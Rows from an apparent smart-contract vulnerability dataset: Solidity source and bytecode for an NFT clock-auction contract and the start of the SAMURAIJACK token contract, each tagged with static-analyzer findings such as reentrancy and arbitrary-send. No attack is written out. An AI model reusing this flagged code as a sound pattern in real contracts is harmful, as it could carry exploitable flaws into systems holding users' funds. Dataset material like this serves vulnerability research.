50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129cd816125b4565b81146129d857600080fd5b50565b6129e4816125c6565b81146129ef57600080fd5b50565b6129fb816125f2565b8114612a0657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a46fd6433a7d459a801650c973f943a52a8c46799b889ac2a926e7e046f3588564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,514 |
0x23bbc7247b4dbdb4487c9b92d998e106883a9efa
|
pragma solidity ^0.4.21;
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address previousOwner, address newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StorageBase is Ownable {
function withdrawBalance() external onlyOwner returns (bool) {
// The owner has a method to withdraw balance from multiple contracts together,
// use send here to make sure even if one withdrawBalance fails the others will still work
bool res = msg.sender.send(address(this).balance);
return res;
}
}
contract ClockAuctionStorage is StorageBase {
// Represents an auction on an NFT
struct Auction {
// Current owner of NFT
address seller;
// Price (in wei) at beginning of auction
uint128 startingPrice;
// Price (in wei) at end of auction
uint128 endingPrice;
// Duration (in seconds) of auction
uint64 duration;
// Time when auction started
// NOTE: 0 if this auction has been concluded
uint64 startedAt;
}
// Map from token ID to their corresponding auction.
mapping (uint256 => Auction) tokenIdToAuction;
function addAuction(
uint256 _tokenId,
address _seller,
uint128 _startingPrice,
uint128 _endingPrice,
uint64 _duration,
uint64 _startedAt
)
external
onlyOwner
{
tokenIdToAuction[_tokenId] = Auction(
_seller,
_startingPrice,
_endingPrice,
_duration,
_startedAt
);
}
function removeAuction(uint256 _tokenId) public onlyOwner {
delete tokenIdToAuction[_tokenId];
}
function getAuction(uint256 _tokenId)
external
view
returns (
address seller,
uint128 startingPrice,
uint128 endingPrice,
uint64 duration,
uint64 startedAt
)
{
Auction storage auction = tokenIdToAuction[_tokenId];
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function isOnAuction(uint256 _tokenId) external view returns (bool) {
return (tokenIdToAuction[_tokenId].startedAt > 0);
}
function getSeller(uint256 _tokenId) external view returns (address) {
return tokenIdToAuction[_tokenId].seller;
}
function transfer(ERC721 _nonFungibleContract, address _receiver, uint256 _tokenId) external onlyOwner {
// it will throw if transfer fails
_nonFungibleContract.transfer(_receiver, _tokenId);
}
}
contract SiringClockAuctionStorage is ClockAuctionStorage {
bool public isSiringClockAuctionStorage = true;
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract HasNoContracts is Pausable {
function reclaimContract(address _contractAddr) external onlyOwner whenPaused {
Ownable contractInst = Ownable(_contractAddr);
contractInst.transferOwnership(owner);
}
}
contract LogicBase is HasNoContracts {
/// The ERC-165 interface signature for ERC-721.
/// Ref: https://github.com/ethereum/EIPs/issues/165
/// Ref: https://github.com/ethereum/EIPs/issues/721
bytes4 constant InterfaceSignature_NFC = bytes4(0x9f40b779);
// Reference to contract tracking NFT ownership
ERC721 public nonFungibleContract;
// Reference to storage contract
StorageBase public storageContract;
function LogicBase(address _nftAddress, address _storageAddress) public {
// paused by default
paused = true;
setNFTAddress(_nftAddress);
require(_storageAddress != address(0));
storageContract = StorageBase(_storageAddress);
}
// Very dangerous action, only when new contract has been proved working
// Requires storageContract already transferOwnership to the new contract
// This method is only used to transfer the balance to owner
function destroy() external onlyOwner whenPaused {
address storageOwner = storageContract.owner();
// owner of storageContract must not be the current contract otherwise the storageContract will forever not accessible
require(storageOwner != address(this));
// Transfers the current balance to the owner and terminates the contract
selfdestruct(owner);
}
// Very dangerous action, only when new contract has been proved working
// Requires storageContract already transferOwnership to the new contract
// This method is only used to transfer the balance to the new contract
function destroyAndSendToStorageOwner() external onlyOwner whenPaused {
address storageOwner = storageContract.owner();
// owner of storageContract must not be the current contract otherwise the storageContract will forever not accessible
require(storageOwner != address(this));
// Transfers the current balance to the new owner of the storage contract and terminates the contract
selfdestruct(storageOwner);
}
// override to make sure everything is initialized before the unpause
function unpause() public onlyOwner whenPaused {
// can not unpause when the logic contract is not initialzed
require(nonFungibleContract != address(0));
require(storageContract != address(0));
// can not unpause when ownership of storage contract is not the current contract
require(storageContract.owner() == address(this));
super.unpause();
}
function setNFTAddress(address _nftAddress) public onlyOwner {
require(_nftAddress != address(0));
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_NFC));
nonFungibleContract = candidateContract;
}
// Withdraw balance to the Core Contract
function withdrawBalance() external returns (bool) {
address nftAddress = address(nonFungibleContract);
// either Owner or Core Contract can trigger the withdraw
require(msg.sender == owner || msg.sender == nftAddress);
// The owner has a method to withdraw balance from multiple contracts together,
// use send here to make sure even if one withdrawBalance fails the others will still work
bool res = nftAddress.send(address(this).balance);
return res;
}
function withdrawBalanceFromStorageContract() external returns (bool) {
address nftAddress = address(nonFungibleContract);
// either Owner or Core Contract can trigger the withdraw
require(msg.sender == owner || msg.sender == nftAddress);
// The owner has a method to withdraw balance from multiple contracts together,
// use send here to make sure even if one withdrawBalance fails the others will still work
bool res = storageContract.withdrawBalance();
return res;
}
}
contract ClockAuction is LogicBase {
// Reference to contract tracking auction state variables
ClockAuctionStorage public clockAuctionStorage;
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint256 public ownerCut;
// Minimum cut value on each auction (in WEI)
uint256 public minCutValue;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner, address seller, uint256 sellerProceeds);
event AuctionCancelled(uint256 tokenId);
function ClockAuction(address _nftAddress, address _storageAddress, uint256 _cut, uint256 _minCutValue)
LogicBase(_nftAddress, _storageAddress) public
{
setOwnerCut(_cut);
setMinCutValue(_minCutValue);
clockAuctionStorage = ClockAuctionStorage(_storageAddress);
}
function setOwnerCut(uint256 _cut) public onlyOwner {
require(_cut <= 10000);
ownerCut = _cut;
}
function setMinCutValue(uint256 _minCutValue) public onlyOwner {
minCutValue = _minCutValue;
}
function getMinPrice() public view returns (uint256) {
// return ownerCut > 0 ? (minCutValue / ownerCut * 10000) : 0;
// use minCutValue directly, when the price == minCutValue seller will get no profit
return minCutValue;
}
// Only auction from none system user need to verify the price
// System auction can set any price
function isValidPrice(uint256 _startingPrice, uint256 _endingPrice) public view returns (bool) {
return (_startingPrice < _endingPrice ? _startingPrice : _endingPrice) >= getMinPrice();
}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
public
whenNotPaused
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
// assigning ownership to this clockAuctionStorage when in auction
// it will throw if transfer fails
nonFungibleContract.transferFrom(_seller, address(clockAuctionStorage), _tokenId);
// Require that all auctions have a duration of at least one minute.
require(_duration >= 1 minutes);
clockAuctionStorage.addAuction(
_tokenId,
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
emit AuctionCreated(_tokenId, _startingPrice, _endingPrice, _duration);
}
function cancelAuction(uint256 _tokenId) external {
require(clockAuctionStorage.isOnAuction(_tokenId));
address seller = clockAuctionStorage.getSeller(_tokenId);
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionWhenPaused(uint256 _tokenId) external whenPaused onlyOwner {
require(clockAuctionStorage.isOnAuction(_tokenId));
address seller = clockAuctionStorage.getSeller(_tokenId);
_cancelAuction(_tokenId, seller);
}
function getAuction(uint256 _tokenId)
public
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
require(clockAuctionStorage.isOnAuction(_tokenId));
return clockAuctionStorage.getAuction(_tokenId);
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
require(clockAuctionStorage.isOnAuction(_tokenId));
return _currentPrice(_tokenId);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
clockAuctionStorage.removeAuction(_tokenId);
clockAuctionStorage.transfer(nonFungibleContract, _seller, _tokenId);
emit AuctionCancelled(_tokenId);
}
function _bid(uint256 _tokenId, uint256 _bidAmount, address bidder) internal returns (uint256) {
require(clockAuctionStorage.isOnAuction(_tokenId));
// Check that the bid is greater than or equal to the current price
uint256 price = _currentPrice(_tokenId);
require(_bidAmount >= price);
address seller = clockAuctionStorage.getSeller(_tokenId);
uint256 sellerProceeds = 0;
// Remove the auction before sending the fees to the sender so we can't have a reentrancy attack
clockAuctionStorage.removeAuction(_tokenId);
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the auctioneer's cut, so this subtraction can't go negative
uint256 auctioneerCut = _computeCut(price);
sellerProceeds = price - auctioneerCut;
// transfer the sellerProceeds
seller.transfer(sellerProceeds);
}
// Calculate any excess funds included with the bid
// transfer it back to bidder.
// this cannot underflow.
uint256 bidExcess = _bidAmount - price;
bidder.transfer(bidExcess);
emit AuctionSuccessful(_tokenId, price, bidder, seller, sellerProceeds);
return price;
}
function _currentPrice(uint256 _tokenId) internal view returns (uint256) {
uint256 secondsPassed = 0;
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
(seller, startingPrice, endingPrice, duration, startedAt) = clockAuctionStorage.getAuction(_tokenId);
if (now > startedAt) {
secondsPassed = now - startedAt;
}
return _computeCurrentPrice(
startingPrice,
endingPrice,
duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
// this delta can be negative.
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
// This multiplication can't overflow, _secondsPassed will easily fit within
// 64-bits, and totalPriceChange will easily fit within 128-bits, their product
// will always fit within 256-bits.
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
// this result will always end up positive.
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function _computeCut(uint256 _price) internal view returns (uint256) {
uint256 cutValue = _price * ownerCut / 10000;
if (_price < minCutValue) return cutValue;
if (cutValue > minCutValue) return cutValue;
return minCutValue;
}
}
contract SiringClockAuction is ClockAuction {
bool public isSiringClockAuction = true;
function SiringClockAuction(address _nftAddr, address _storageAddress, uint256 _cut, uint256 _minCutValue)
ClockAuction(_nftAddr, _storageAddress, _cut, _minCutValue) public
{
require(SiringClockAuctionStorage(_storageAddress).isSiringClockAuctionStorage());
}
function bid(uint256 _tokenId, address bidder) external payable {
// can only be called by CryptoZoo
require(msg.sender == address(nonFungibleContract));
// get seller before the _bid for the auction will be removed once the bid success
address seller = clockAuctionStorage.getSeller(_tokenId);
// _bid checks that token ID is valid and will throw if bid fails
_bid(_tokenId, msg.value, bidder);
// transfer the monster back to the seller, the winner will get the child
clockAuctionStorage.transfer(nonFungibleContract, seller, _tokenId);
}
}
|
0x6060604052600436106101455763ffffffff60e060020a60003504166311ce0267811461014a57806327ebe40a146101795780632a607962146101a65780632aed7f3f146101cb5780632f798500146101ea5780633f4ba83a146101fd5780635c975abb146102105780635fd8c7101461023757806369d037381461024a578063757de5731461026957806376190f8f1461027f57806378bd79351461029257806383197ef0146102e357806383b5ff8b146102f65780638456cb5914610309578063878eb3681461031c5780638da5cb5b1461033257806396b5a755146103455780639f04996d1461035b578063a43d76e914610372578063b57942221461038b578063ba6763ce1461039e578063c501024b146103b1578063c55d0f56146103c7578063dd1b7a0f146103dd578063e31a8116146103f0578063f2fde38b14610403575b600080fd5b341561015557600080fd5b61015d610422565b604051600160a060020a03909116815260200160405180910390f35b341561018457600080fd5b6101a4600435602435604435606435600160a060020a0360843516610431565b005b34156101b157600080fd5b6101b9610638565b60405190815260200160405180910390f35b34156101d657600080fd5b6101a4600160a060020a036004351661063e565b34156101f557600080fd5b61015d6106dd565b341561020857600080fd5b6101a46106ec565b341561021b57600080fd5b6102236107c6565b604051901515815260200160405180910390f35b341561024257600080fd5b6102236107d6565b341561025557600080fd5b6101a4600160a060020a0360043516610852565b341561027457600080fd5b6101a460043561095e565b341561028a57600080fd5b61022361098d565b341561029d57600080fd5b6102a8600435610996565b604051600160a060020a03909516855260208501939093526040808501929092526060840152608083019190915260a0909101905180910390f35b34156102ee57600080fd5b6101a4610ab8565b341561030157600080fd5b6101b9610b73565b341561031457600080fd5b6101a4610b79565b341561032757600080fd5b6101a4600435610bfd565b341561033d57600080fd5b61015d610d0a565b341561035057600080fd5b6101a4600435610d19565b6101a4600435600160a060020a0360243516610e09565b341561037d57600080fd5b610223600435602435610f13565b341561039657600080fd5b6101a4610f35565b34156103a957600080fd5b610223610fee565b34156103bc57600080fd5b6101a460043561108e565b34156103d257600080fd5b6101b96004356110ae565b34156103e857600080fd5b61015d61112a565b34156103fb57600080fd5b6101b9611139565b341561040e57600080fd5b6101a4600160a060020a036004351661113f565b600254600160a060020a031681565b60005460a060020a900460ff161561044857600080fd5b6fffffffffffffffffffffffffffffffff8416841461046657600080fd5b6fffffffffffffffffffffffffffffffff8316831461048457600080fd5b67ffffffffffffffff8216821461049a57600080fd5b60015433600160a060020a039081169116146104b557600080fd5b600154600354600160a060020a03918216916323b872dd918491168860405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b151561052057600080fd5b5af1151561052d57600080fd5b505050603c82101561053e57600080fd5b600354600160a060020a031663da26d0b986838787874260405160e060020a63ffffffff89160281526004810196909652600160a060020a0390941660248601526fffffffffffffffffffffffffffffffff92831660448601529116606484015267ffffffffffffffff90811660848401521660a482015260c401600060405180830381600087803b15156105d257600080fd5b5af115156105df57600080fd5b5050507fa9c8dfcda5664a5a124c713e386da27de87432d5b668e79458501eb296389ba7858585856040518085815260200184815260200183815260200182815260200194505050505060405180910390a15050505050565b60055481565b6000805433600160a060020a0390811691161461065a57600080fd5b60005460a060020a900460ff16151561067257600080fd5b506000548190600160a060020a038083169163f2fde38b911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156106c957600080fd5b5af115156106d657600080fd5b5050505050565b600354600160a060020a031681565b60005433600160a060020a0390811691161461070757600080fd5b60005460a060020a900460ff16151561071f57600080fd5b600154600160a060020a0316151561073657600080fd5b600254600160a060020a0316151561074d57600080fd5b600254600160a060020a033081169116638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561079057600080fd5b5af1151561079d57600080fd5b50505060405180519050600160a060020a03161415156107bc57600080fd5b6107c46111f0565b565b60005460a060020a900460ff1681565b600154600080549091600160a060020a039081169183913381169116148061080f575081600160a060020a031633600160a060020a0316145b151561081a57600080fd5b81600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f1979650505050505050565b6000805433600160a060020a0390811691161461086e57600080fd5b600160a060020a038216151561088357600080fd5b5080600160a060020a0381166301ffc9a77f9f40b7790000000000000000000000000000000000000000000000000000000060405160e060020a63ffffffff84160281527fffffffff000000000000000000000000000000000000000000000000000000009091166004820152602401602060405180830381600087803b151561090c57600080fd5b5af1151561091957600080fd5b50505060405180519050151561092e57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905550565b60005433600160a060020a0390811691161461097957600080fd5b61271081111561098857600080fd5b600455565b60065460ff1681565b6003546000908190819081908190600160a060020a03166337e246ad8760405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156109e957600080fd5b5af115156109f657600080fd5b505050604051805190501515610a0b57600080fd5b600354600160a060020a03166378bd79358760405160e060020a63ffffffff8416028152600481019190915260240160a060405180830381600087803b1515610a5357600080fd5b5af11515610a6057600080fd5b5050506040518051906020018051906020018051906020018051906020018051949950506fffffffffffffffffffffffffffffffff92831697509116945067ffffffffffffffff908116935016905091939590929450565b6000805433600160a060020a03908116911614610ad457600080fd5b60005460a060020a900460ff161515610aec57600080fd5b600254600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610b2b57600080fd5b5af11515610b3857600080fd5b50505060405180519050905030600160a060020a031681600160a060020a031614151515610b6557600080fd5b600054600160a060020a0316ff5b60045481565b60005433600160a060020a03908116911614610b9457600080fd5b60005460a060020a900460ff1615610bab57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000805460a060020a900460ff161515610c1657600080fd5b60005433600160a060020a03908116911614610c3157600080fd5b600354600160a060020a03166337e246ad8360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610c7957600080fd5b5af11515610c8657600080fd5b505050604051805190501515610c9b57600080fd5b600354600160a060020a031663d6a9de518360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610ce357600080fd5b5af11515610cf057600080fd5b505050604051805190509050610d06828261126f565b5050565b600054600160a060020a031681565b600354600090600160a060020a03166337e246ad8360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610d6457600080fd5b5af11515610d7157600080fd5b505050604051805190501515610d8657600080fd5b600354600160a060020a031663d6a9de518360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610dce57600080fd5b5af11515610ddb57600080fd5b505050604051805191505033600160a060020a0390811690821614610dff57600080fd5b610d06828261126f565b60015460009033600160a060020a03908116911614610e2757600080fd5b600354600160a060020a031663d6a9de518460405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610e6f57600080fd5b5af11515610e7c57600080fd5b505050604051805190509050610e93833484611378565b50600354600154600160a060020a039182169163beabacc89116838660405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b1515610efe57600080fd5b5af11515610f0b57600080fd5b505050505050565b6000610f1d611139565b828410610f2a5782610f2c565b835b10159392505050565b6000805433600160a060020a03908116911614610f5157600080fd5b60005460a060020a900460ff161515610f6957600080fd5b600254600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610fa857600080fd5b5af11515610fb557600080fd5b50505060405180519050905030600160a060020a031681600160a060020a031614151515610fe257600080fd5b80600160a060020a0316ff5b600154600080549091600160a060020a0390811691839133811691161480611027575081600160a060020a031633600160a060020a0316145b151561103257600080fd5b600254600160a060020a0316635fd8c7106040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561107157600080fd5b5af1151561107e57600080fd5b5050506040518051949350505050565b60005433600160a060020a039081169116146110a957600080fd5b600555565b600354600090600160a060020a03166337e246ad8360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156110f957600080fd5b5af1151561110657600080fd5b50505060405180519050151561111b57600080fd5b611124826115b4565b92915050565b600154600160a060020a031681565b60055490565b60005433600160a060020a0390811691161461115a57600080fd5b600160a060020a038116151561116f57600080fd5b6000547f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600160a060020a031682604051600160a060020a039283168152911660208201526040908101905180910390a16000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461120b57600080fd5b60005460a060020a900460ff16151561122357600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600354600160a060020a0316632dd7030b8360405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156112b757600080fd5b5af115156112c457600080fd5b5050600354600154600160a060020a03918216925063beabacc89116838560405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b151561133157600080fd5b5af1151561133e57600080fd5b5050507f2809c7e17bf978fbc7194c0a694b638c4215e9140cacc6c38ca36010b45697df8260405190815260200160405180910390a15050565b60035460009081908190819081908190600160a060020a03166337e246ad8a60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156113cd57600080fd5b5af115156113da57600080fd5b5050506040518051905015156113ef57600080fd5b6113f8896115b4565b94508488101561140757600080fd5b600354600160a060020a031663d6a9de518a60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561144f57600080fd5b5af1151561145c57600080fd5b505050604051805160035490955060009450600160a060020a03169050632dd7030b8a60405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156114b557600080fd5b5af115156114c257600080fd5b505050600085111561150f576114d7856116af565b80860393509150600160a060020a03841683156108fc0284604051600060405180830381858888f19350505050151561150f57600080fd5b50838703600160a060020a03871681156108fc0282604051600060405180830381858888f19350505050151561154457600080fd5b7fc2a394cb356728b3540b84dee72ea6de41f44fd94de223565258efe1549ee06f89868987876040519485526020850193909352600160a060020a0391821660408086019190915291166060840152608083019190915260a0909101905180910390a15092979650505050505050565b600354600090819081908190819081908190600160a060020a03166378bd79358960405160e060020a63ffffffff8416028152600481019190915260240160a060405180830381600087803b151561160b57600080fd5b5af1151561161857600080fd5b505050604051805190602001805190602001805190602001805190602001805194995092975090955093509091505067ffffffffffffffff8116421115611669578067ffffffffffffffff16420395505b6116a3846fffffffffffffffffffffffffffffffff16846fffffffffffffffffffffffffffffffff168467ffffffffffffffff16896116f6565b98975050505050505050565b60008061271060045484028115156116c357fe5b0490506005548310156116d8578091506116f0565b6005548111156116ea578091506116f0565b60055491505b50919050565b600080808085851061170a57869350611728565b87870392508585840281151561171c57fe5b05915081880190508093505b5050509493505050505600a165627a7a72305820c27a01dea21db6b14606d18a45e0a27f662e6885c07b57ba2974db53595f2c8b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,515 |
0x2871a6CA28A422152de864f1C180C00f8989bacf
|
/**
SAMURAIJACK (SJACK)
Official Links:
Telegram:
https://t.me/SAMURAIJACKERC20
Website:
https://samurai-jack.io/
Twitter:
https://twitter.com/SAMURAIJACKERC
██████ ▄▄▄ ███▄ ▄███▓ █ ██ ██▀███ ▄▄▄ ██▓ ▄▄▄██▀▀▀ ▄▄▄ ▄████▄ ██ ▄█▀
▒██ ▒ ▒████▄ ▓██▒▀█▀ ██▒ ██ ▓██▒▓██ ▒ ██▒▒████▄ ▓██▒ ▒██ ▒████▄ ▒██▀ ▀█ ██▄█▒
░ ▓██▄ ▒██ ▀█▄ ▓██ ▓██░▓██ ▒██░▓██ ░▄█ ▒▒██ ▀█▄ ▒██▒ ░██ ▒██ ▀█▄ ▒▓█ ▄ ▓███▄░
▒ ██▒░██▄▄▄▄██ ▒██ ▒██ ▓▓█ ░██░▒██▀▀█▄ ░██▄▄▄▄██ ░██░ ▓██▄██▓ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄
▒██████▒▒ ▓█ ▓██▒▒██▒ ░██▒▒▒█████▓ ░██▓ ▒██▒ ▓█ ▓██▒░██░ ▓███▒ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄
▒ ▒▓▒ ▒ ░ ▒▒ ▓▒█░░ ▒░ ░ ░░▒▓▒ ▒ ▒ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░▓ ▒▓▒▒░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒
░ ░▒ ░ ░ ▒ ▒▒ ░░ ░ ░░░▒░ ░ ░ ░▒ ░ ▒░ ▒ ▒▒ ░ ▒ ░ ▒ ░▒░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░
░ ░ ░ ░ ▒ ░ ░ ░░░ ░ ░ ░░ ░ ░ ▒ ▒ ░ ░ ░ ░ ░ ▒ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░
░
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SJACK is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SAMURAIJACK";
string private constant _symbol = "SJACK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 8;
//Sell Fee
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x8727A1434802010541360e66EE8E62CB8CD83641);
address payable private _marketingAddress = payable(0x958769bb38381D6337e07AfA50545958D8a18F50);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000000000 * 10**9; //0,5%
uint256 public _maxWalletSize = 2500000000000 * 10**9; //2,5%
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.01%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
